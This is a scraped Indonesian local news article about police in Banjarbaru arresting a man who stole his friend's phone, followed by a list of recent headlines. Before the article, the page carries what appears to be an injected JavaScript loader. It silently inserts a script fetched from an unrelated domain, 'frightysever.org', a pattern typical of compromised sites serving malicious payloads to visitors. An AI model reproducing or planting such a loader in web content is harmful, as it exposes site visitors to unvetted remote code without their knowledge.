(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Curi HP Teman Sendiri, Pria 42 Tahun Warga Bangkal Masuk Bui


KANALKALIMANTAN.COM, BANJARBARU – Unit Opsnal Polsek Banjarbaru Utara menciduk pelaku pencurian. Ironisnya, korban pencurian adalah teman sendiri.

Polisi membekuk tersangka K (42), warga Jalan Mistar Cokrokusumo RT 03 RW 01, Kelurahan Bangkal, Kecamatan Cempaka Kota Banjarbaru.

Kapolsek Banjarbaru Utara Kompol Shofiyah melalui Kasi Humas Polsek Banjarbaru Utara Aipda Andreas mengatakan tersangka K (42) diduga mencuri handphone milik kawannya, ketika pelaku datang ke rumah korban.

“Pelaku sama korban saling kenal, saat itu pelaku datang ke rumah korban, tiba-tiba pelaku mengambil hp korban dan melarikan diri saat dikejar,” ucapnya, Kamis (3/3/2022).

 

 

Baca juga: Ketika Kedelai Impor Terus Naik: Pengrajin Tempe di Banjarbaru Kecilkan Ukuran, Harga per Potong Dinaikan

Informasi diketahui ketika korban melaporkan handphone miliknya yang hilang pada Selasa (1/3/2022) sekitar pukul 15.30 Wita di Jalan Trikora Komplek Royal Residence, Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan, Kota Banjarbaru.

Aipda Andreas menambahkan K (42) diciduk petugas di rumahnya di Kelurahan Bangkal dipimpin Panit 2 Opsnal Reskrim Polsek Banjarbaru Utara Aiptu Sugeng Gunawan dan diback up oleh Unit Reskrim Polsek Cempaka. Setelah mendapat laporan bahwa pelaku berada di rumahnya di Kelurahan Bangkal, penangkapan pelaku pada Rabu (2/3/2022) sekitar pukul 21.00 Wita.

Saat dilakukan crosscheck, kemudian dilakukan penangkapan serta penggeledahan di rumah pelaku petugas berhasil menemukan barang bukti berhasil menemukan satu buah handphone merk Infinix note 10 warna hitam

“Barang bukti disembunyikan pelaku di dalam keranjang pakaian,” jelasnya.

Selanjutnya tersangka beserta barang bukti dibawa ke Polsek Banjarbaru Utara guna proses hukum lebih lanjut.

Baca juga: Tim Drum Band HSU Bidik Tiga Medali di Porprov 2022

Berdasarkan perbuatannya, kini pelaku harus mempertanggungjawabkan perbuatannya berdasarkan Pasal 362 KUHP.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : Bie


Risa

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

14 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

15 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

16 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

20 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

23 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

2 hari ago

This website uses cookies.